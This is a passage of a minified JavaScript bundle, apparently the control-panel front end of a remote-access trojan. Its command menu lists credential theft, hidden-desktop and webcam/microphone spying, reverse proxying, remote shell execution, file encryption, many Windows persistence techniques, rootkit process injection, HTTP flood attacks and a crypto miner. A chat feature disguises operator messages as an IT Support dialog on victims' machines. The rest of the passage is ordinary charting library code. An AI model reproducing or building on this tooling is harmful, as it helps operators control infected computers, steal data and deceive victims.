2.296.07 2.572-1.065z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:a.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:a.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},p_=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),h_=new Set(["remove","exit","uninstall","shutdown"]),x_=new Set(["ban"]),am=[{label:"Monitoring",icon:sn.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:sn.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:sn.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:sn.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:sn.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:sn.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:sn.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:sn.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:sn.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:sn.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:sn.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],v_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},g_={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},y_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},b_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:s="alive",agentName:o})=>{const l=m.useRef(null),c=m.useRef(null),u=m.useRef(null),[d,f]=m.useState(null),[p,h]=m.useState({x:e,y:t}),[x,g]=m.useState(""),[y,v]=m.useState(-1),[b,w]=m.useState(-1),[j,N]=m.useState(!1),k=m.useRef(null),z=s==="dead",S=x.trim()?am.map(R=>({...R,commands:R.commands.filter(K=>K.label.toLowerCase().includes(x.toLowerCase())||K.key.toLowerCase().includes(x.toLowerCase()))})).filter(R=>R.commands.length>0||R.label.toLowerCase().includes(x.toLowerCase())).map(R=>({...R,commands:R.commands.length>0?R.commands:am.find(K=>K.label===R.label).commands})):am;m.useEffect(()=>{if(n&&l.current){const R=l.current.getBoundingClientRect(),K=window.innerWidth,_=window.innerHeight;let M=e,F=t;e+R.width>K&&(M=K-R.width-8),t+R.height>_&&(F=_-R.height-8),h({x:Math.max(4,M),y:Math.max(4,F)})}else h({x:e,y:t})},[e,t,n]),m.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),N(!1))},[n]),m.useEffect(()=>{n&&requestAnimationFrame(()=>{var R;(R=c.current)==null||R.focus()})},[n]),m.useEffect(()=>{if(!n)return;const R=K=>{l.current&&!l.current.contains(K.target)&&i()};return document.addEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)}},[n,i]),m.useEffect(()=>()=>{k.current&&clearTimeout(k.current)},[]);const O=m.useCallback(()=>{if(!u.current)return;const R=u.current;R.style.top="0px";const K=R.getBoundingClientRect(),_=window.innerHeight;if(K.bottom>_-8){const M=K.bottom-_+8;R.style.top=`${-M}px`}},[]);if(m.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),m.useEffect(()=>{if(!n)return;const R=K=>{var M;const _=S;if(_.length!==0)switch(K.key){case"ArrowDown":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U{const U=F<_.length-1?F+1:0;return f(_[U].label),U});break}case"ArrowUp":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U>0?U-1:F.commands.length-1)}else v(F=>{const U=F>0?F-1:_.length-1;return f(_[U].label),U});break}case"ArrowRight":case"Enter":{if(j&&K.key==="Enter"){K.preventDefault();const F=_.find(U=>U.label===d);F&&b>=0&&bdocument.removeEventListener("keydown",R)},[n,S,d,j,y,b,i]),!n)return null;const A=(R,K)=>{k.current&&clearTimeout(k.current),k.current=setTimeout(()=>{f(R),v(K),N(!1),w(-1)},60)},T=()=>{k.current&&clearTimeout(k.current)},P=R=>{z&&R.nav.action!=="remove"&&R.nav.action!=="ban"||r(R.key,R.nav)},D=p.x+200+220>window.innerWidth,G=R=>R===0?!1:S[R].group!==S[R-1].group;return a.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:p.x,top:p.y},onMouseLeave:()=>{f(null),v(-1),N(!1),w(-1)},children:a.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[a.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[a.jsxs("span",{className:"relative inline-flex",children:[s==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${v_[s]}`})]}),a.jsxs("div",{className:"flex flex-col min-w-0",children:[a.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),a.jsx("span",{className:`font-mono text-[10px] ${y_[s]}`,children:g_[s]})]})]}),a.jsx("div",{className:"px-2 pt-2 pb-1",children:a.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[sn.search,a.jsx("input",{ref:c,type:"text",value:x,onChange:R=>{g(R.target.value),v(-1),f(null),N(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&a.jsx("button",{onClick:()=>{var R;g(""),(R=c.current)==null||R.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),a.jsxs("div",{className:"py-1",children:[S.length===0&&a.jsx("div",{className:"px-3 py-4 text-center",children:a.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),S.map((R,K)=>a.jsxs(Oh.Fragment,{children:[G(K)&&a.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),a.jsxs("div",{className:"relative",onMouseEnter:()=>A(R.label,K),onMouseLeave:T,children:[a.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===R.label||y===K?z?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":z?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[a.jsx("span",{className:`${d===R.label||y===K?z?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:R.icon}),a.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:R.label}),a.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===R.label||y===K?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===R.label&&a.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${D?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[a.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:a.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:R.label})}),R.commands.map((_,M)=>{const F=z&&_.nav.action!=="remove"&&_.nav.action!=="ban",U=h_.has(_.key)||_.nav.action==="remove",V=x_.has(_.key)||_.nav.action==="ban",Z=p_.has(_.key),ae=j&&b===M;return a.jsxs("button",{onClick:()=>P(_),disabled:F,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${U?ae?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":V?ae?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":F?"cursor-not-allowed text-zerin-text-muted":ae?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[a.jsx("span",{children:_.label}),Z&&!F&&sn.externalLink]},_.key)})]})]})]},R.label))]})]})})};function Dj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,s]=m.useState([]),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(!0),p=m.useRef(null),h=m.useRef(null),{lastMessage:x}=m.useContext(gd),g=m.useCallback(async()=>{try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();s(w)}}catch{}finally{f(!1)}},[e]);m.useEffect(()=>{n&&(f(!0),g())},[n,g]),m.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),m.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),m.useEffect(()=>{var v;(v=p.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),m.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();s(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?a.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:a.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),a.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?a.jsx("div",{className:"flex h-full items-center justify-center",children:a.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?a.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[a.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),a.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>a.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:a.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[a.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:w_(v.timestamp)})]}),a.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),a.jsx("div",{ref:p})]}),a.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function w_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const j_=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function Rj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:s,className:o,style:l,title:c,desc:u}=e,d=P_(e,C_),f=s||{width:r,height:i,x:0,y:0},p=Qe("recharts-surface",o);return m.createElement("svg",Lp({},Ut(d),{className:p,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),m.createElement("title",null,c),m.createElement("desc",null,u),n)}),__=["children","className"];function Ip(){return Ip=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=A_(e,__),s=Qe("recharts-layer",r);return m.createElement("g",Ip({className:s},Ut(i),{ref:t}),n)}),T_=m.createContext(null);function $e(e){return function(){return e}}const Wj=Math.cos,tu=Math.sin,Qn=Math.sqrt,nu=Math.PI,yd=2*nu,Dp=Math.PI,Rp=2*Dp,Fi=1e-6,M_=Rp-Fi;function Uj(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Uj;const n=10**t;return function(r){this._+=r[0];for(let i=1,s=r.length;iFi)if(!(Math.abs(f*c-u*d)>Fi)||!s)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(p),w=s*Math.tan((Dp-Math.acos((g+p-y)/(2*v*b)))/2),j=w/b,N=w/v;Math.abs(j-1)>Fi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${s},${s},0,0,${+(f*h>d*x)},${this._x1=t+N*c},${this._y1=n+N*u}`}}arc(t,n,r,i,s,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,p=o?i-s:s-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Fi||Math.abs(this._y1-d)>Fi)&&this._append`L${u},${d}`,r&&(p<0&&(p=p%Rp+Rp),p>M_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:p>Fi&&this._append`A${r},${r},0,${+(p>=Dp)},${f},${this._x1=t+r*Math.cos(s)},${this._y1=n+r*Math.sin(s)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function Ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new I_(t)}function Tx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function Vj(e){this._context=e}Vj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function bd(e){return new Vj(e)}function Hj(e){return e[0]}function Kj(e){return e[1]}function Gj(e,t){var n=$e(!0),r=null,i=bd,s=null,o=Ox(l);e=typeof e=="function"?e:e===void 0?Hj:$e(e),t=typeof t=="function"?t:t===void 0?Kj:$e(t);function l(c){var u,d=(c=Tx(c)).length,f,p=!1,h;for(r==null&&(s=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[p]=+e(y,p,f),j[p]=+t(y,p,f),l.point(r?+r(y,p,f):w[p],n?+n(y,p,f):j[p]))}if(b)return l=null,b+""||null}function d(){return Gj().defined(i).curve(o).context(s)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:$e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:$e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:$e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,s!=null&&(l=o(s)),u):o},u.context=function(f){return arguments.length?(f==null?s=l=null:l=o(s=f),u):s},u}class Yj{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function D_(e){return new Yj(e,!0)}function R_(e){return new Yj(e,!1)}const Mx={draw(e,t){const n=Qn(t/nu);e.moveTo(n,0),e.arc(0,0,n,0,yd)}},$_={draw(e,t){const n=Qn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},qj=Qn(1/3),B_=qj*2,F_={draw(e,t){const n=Qn(t/B_),r=n*qj;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},W_={draw(e,t){const n=Qn(t),r=-n/2;e.rect(r,r,n,n)}},U_=.8908130915292852,Xj=tu(nu/10)/tu(7*nu/10),V_=tu(yd/10)*Xj,H_=-Wj(yd/10)*Xj,K_={draw(e,t){const n=Qn(t*U_),r=V_*n,i=H_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let s=1;s<5;++s){const o=yd*s/5,l=Wj(o),c=tu(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},sm=Qn(3),G_={draw(e,t){const n=-Qn(t/(sm*3));e.moveTo(0,n*2),e.lineTo(-sm*n,-n),e.lineTo(sm*n,-n),e.closePath()}},bn=-.5,wn=Qn(3)/2,$p=1/Qn(12),Y_=($p/2+1)*3,q_={draw(e,t){const n=Qn(t/Y_),r=n/2,i=n*$p,s=r,o=n*$p+n,l=-s,c=o;e.moveTo(r,i),e.lineTo(s,o),e.lineTo(l,c),e.lineTo(bn*r-wn*i,wn*r+bn*i),e.lineTo(bn*s-wn*o,wn*s+bn*o),e.lineTo(bn*l-wn*c,wn*l+bn*c),e.lineTo(bn*r+wn*i,bn*i-wn*r),e.lineTo(bn*s+wn*o,bn*o-wn*s),e.lineTo(bn*l+wn*c,bn*c-wn*l),e.closePath()}};function X_(e,t){let n=null,r=Ox(i);e=typeof e=="function"?e:$e(e||Mx),t=typeof t=="function"?t:$e(t===void 0?64:+t);function i(){let s;if(n||(n=s=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),s)return n=null,s+""||null}return i.type=function(s){return arguments.length?(e=typeof s=="function"?s:$e(s),i):e},i.size=function(s){return arguments.length?(t=typeof s=="function"?s:$e(+s),i):t},i.context=function(s){return arguments.length?(n=s??null,i):n},i}function ru(){}function iu(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function Zj(e){this._context=e}Zj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:iu(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Z_(e){return new Zj(e)}function Qj(e){this._context=e}Qj.prototype={areaStart:ru,areaEnd:ru,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 